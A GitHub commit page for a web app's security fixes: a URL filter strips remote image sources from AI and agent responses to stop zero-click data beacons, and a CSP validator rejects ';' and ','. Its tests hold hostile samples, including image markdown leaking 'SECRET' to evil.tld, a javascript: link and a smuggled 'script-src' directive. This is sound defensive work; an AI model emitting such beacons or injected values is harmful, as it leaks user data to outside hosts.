Skip to content

Commit 94c3a47

Browse files
committed
merge: CSP review fixes (B2 block remote model images, B4 reject CSP delimiters)
2 parents ca2bacd + b962949 commit 94c3a47

6 files changed

Lines changed: 135 additions & 1 deletion

File tree

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,6 @@
1+
---
2+
area: webapp
3+
type: fix
4+
---
5+
6+
Images in AI and agent responses are no longer loaded from arbitrary remote websites, closing a way a response could quietly signal an outside server.
Lines changed: 80 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,80 @@
1+
import { createElement } from "react";
2+
import { renderToStaticMarkup } from "react-dom/server";
3+
import { describe, expect, it } from "vitest";
4+
import { restrictModelUrls, StreamdownRenderer } from "./StreamdownRenderer";
5+
6+
// streamdown calls urlTransform(url, key, node) to compute each url attribute; a
7+
// returned undefined removes the attribute, so no request is ever issued.
8+
const img = { tagName: "img" } as any;
9+
const link = { tagName: "a" } as any;
10+
11+
describe("restrictModelUrls (image src)", () => {
12+
it("drops a remote model-authored image (the favicon beacon)", () => {
13+
expect(
14+
restrictModelUrls("https://www.google.com/s2/favicons?domain=evil", "src", img)
15+
).toBeUndefined();
16+
});
17+
18+
it("drops any absolute or protocol-relative remote image", () => {
19+
expect(restrictModelUrls("http://evil.tld/pixel.gif", "src", img)).toBeUndefined();
20+
expect(restrictModelUrls("//evil.tld/pixel.gif", "src", img)).toBeUndefined();
21+
});
22+
23+
it("keeps inline and same-origin images", () => {
24+
expect(restrictModelUrls("data:image/png;base64,AAAA", "src", img)).toBe(
25+
"data:image/png;base64,AAAA"
26+
);
27+
expect(restrictModelUrls("blob:abc", "src", img)).toBe("blob:abc");
28+
expect(restrictModelUrls("/local/pic.png", "src", img)).toBe("/local/pic.png");
29+
});
30+
});
31+
32+
describe("restrictModelUrls (link href)", () => {
33+
it("keeps http(s), mailto and relative links", () => {
34+
expect(restrictModelUrls("https://trigger.dev/docs", "href", link)).toBe(
35+
"https://trigger.dev/docs"
36+
);
37+
expect(restrictModelUrls("http://example.com", "href", link)).toBe("http://example.com");
38+
expect(restrictModelUrls("mailto:hi@trigger.dev", "href", link)).toBe("mailto:hi@trigger.dev");
39+
expect(restrictModelUrls("/runs/123", "href", link)).toBe("/runs/123");
40+
});
41+
42+
it("drops unsafe link schemes", () => {
43+
expect(restrictModelUrls("javascript:alert(1)", "href", link)).toBeUndefined();
44+
expect(restrictModelUrls("data:text/html,<script>", "href", link)).toBeUndefined();
45+
});
46+
});
47+
48+
// Force the lazy component to load, then return its resolved default so we can render it
49+
// synchronously. This proves the policy is actually wired into the JSX, not just exported.
50+
async function resolveStreamdownRenderer() {
51+
const lazy = StreamdownRenderer as unknown as {
52+
_payload: unknown;
53+
_init: (payload: unknown) => (props: { children: string }) => JSX.Element;
54+
};
55+
try {
56+
lazy._init(lazy._payload);
57+
} catch (thenable) {
58+
await thenable;
59+
}
60+
return lazy._init(lazy._payload);
61+
}
62+
63+
describe("StreamdownRenderer (rendered markdown)", () => {
64+
it("never lets a model-authored remote image src reach the DOM", async () => {
65+
const Renderer = await resolveStreamdownRenderer();
66+
const markdown = [
67+
"![x](https://www.google.com/s2/favicons?domain=SECRET.evil.tld)",
68+
"![y](//evil.tld/pixel.gif)",
69+
"![z](/local/pic.png)",
70+
].join("\n\n");
71+
const html = renderToStaticMarkup(createElement(Renderer, null, markdown));
72+
73+
// No remote host is ever fetched: no absolute or protocol-relative image src survives.
74+
expect(html).not.toContain('src="http');
75+
expect(html).not.toContain('src="//');
76+
expect(html).not.toContain("SECRET.evil.tld");
77+
// A same-origin relative image is untouched, so the policy does not over-block.
78+
expect(html).toContain('src="/local/pic.png"');
79+
});
80+
});

apps/webapp/app/components/code/StreamdownRenderer.tsx

Lines changed: 29 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,32 @@
11
import { lazy } from "react";
2-
import type { CodeHighlighterPlugin } from "streamdown";
2+
import type { CodeHighlighterPlugin, UrlTransform } from "streamdown";
3+
4+
const SAFE_LINK_SCHEMES = new Set(["http:", "https:", "mailto:"]);
5+
6+
/**
7+
* URL policy for model-authored markdown. A remote image is fetched the moment it
8+
* renders — no click — so it is a zero-click data beacon; we drop the src of any
9+
* non-local image. Links stay clickable but only for safe, human-followable schemes.
10+
* streamdown removes an attribute whose transform returns undefined, so no request fires.
11+
*/
12+
export const restrictModelUrls: UrlTransform = (url, key, node) => {
13+
const value = url.trim();
14+
const isImage = node.tagName === "img" || key === "src" || key === "srcset";
15+
16+
if (isImage) {
17+
// Inline images carry their own bytes; a relative path resolves to our own origin.
18+
if (/^data:/i.test(value) || /^blob:/i.test(value)) return url;
19+
// Absolute or protocol-relative means a remote host — strip it so nothing is fetched.
20+
if (/^[a-z][a-z0-9+.-]*:/i.test(value) || value.startsWith("//")) return undefined;
21+
return url;
22+
}
23+
24+
// Links: relative and protocol-relative are fine; otherwise require a safe scheme.
25+
if (value.startsWith("//")) return url;
26+
const schemeMatch = /^([a-z][a-z0-9+.-]*):/i.exec(value);
27+
if (!schemeMatch) return url;
28+
return SAFE_LINK_SCHEMES.has(`${schemeMatch[1].toLowerCase()}:`) ? url : undefined;
29+
};
330

431
export const StreamdownRenderer = lazy(() =>
532
Promise.all([import("streamdown"), import("@streamdown/code"), import("./shikiTheme")]).then(
@@ -23,6 +50,7 @@ export const StreamdownRenderer = lazy(() =>
2350
isAnimating={isAnimating}
2451
plugins={{ code: codePlugin }}
2552
controls={{ code: { copy: false, download: false } }}
53+
urlTransform={restrictModelUrls}
2654
linkSafety={{ enabled: false }}
2755
>
2856
{children}

apps/webapp/app/utils/cspImageOrigins.test.ts

Lines changed: 14 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -50,12 +50,26 @@ describe("parseCspImageOrigins", () => {
5050
["https://example.com#frag", "must be an origin only, with no path, query or hash"],
5151
["example.com", "is not a valid absolute URL"],
5252
["https://user:pw@example.com", "must not contain credentials"],
53+
["https://a.com;script-src", "must not contain ';' or ',' — these delimit CSP directives"],
5354
])("rejects %s and says why", (value, reason) => {
5455
const { origins, rejected } = parseCspImageOrigins(value);
5556
expect(origins).toEqual([]);
5657
expect(rejected).toEqual([{ value, reason }]);
5758
});
5859

60+
it("does not let a ';' smuggle a second directive into img-src", () => {
61+
const { origins } = parseCspImageOrigins("https://a.com;script-src");
62+
expect(origins).toEqual([]);
63+
expect(buildImgSrcDirective(origins)).not.toContain("script-src");
64+
});
65+
66+
it("splits on ',' so a comma can never ride inside a single origin", () => {
67+
// "https://a.com" is valid; the "x" fragment after the comma is rejected on its own.
68+
const { origins } = parseCspImageOrigins("https://a.com,x");
69+
expect(origins).toEqual(["https://a.com"]);
70+
expect(origins.some((origin) => origin.includes(","))).toBe(false);
71+
});
72+
5973
it("keeps the valid entries when a sibling entry is rejected", () => {
6074
const { origins, rejected } = parseCspImageOrigins(
6175
"https://*.evil.com,https://sso.example.com"

apps/webapp/app/utils/cspImageOrigins.ts

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -73,6 +73,11 @@ function rejectionReason(value: string, allowHttp: boolean): string | undefined
7373
if (/\s/.test(value)) {
7474
return "contains whitespace";
7575
}
76+
// `;` and `,` delimit CSP directives / source lists; an entry containing one would
77+
// land verbatim in the space-joined img-src and inject or truncate a directive.
78+
if (/[;,]/.test(value)) {
79+
return "must not contain ';' or ',' — these delimit CSP directives";
80+
}
7681

7782
let url: URL;
7883
try {

apps/webapp/vitest.config.ts

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -18,6 +18,7 @@ export default defineConfig({
1818
"app/runEngine/concerns/**/*.test.ts",
1919
"app/runEngine/services/**/*.test.ts",
2020
"app/utils/**/*.test.ts",
21+
"app/components/code/**/*.test.ts",
2122
"app/components/dashboard-agent/**/*.test.ts",
2223
"app/presenters/v3/reports/**/*.test.ts",
2324
],

0 commit comments

Comments
 (0)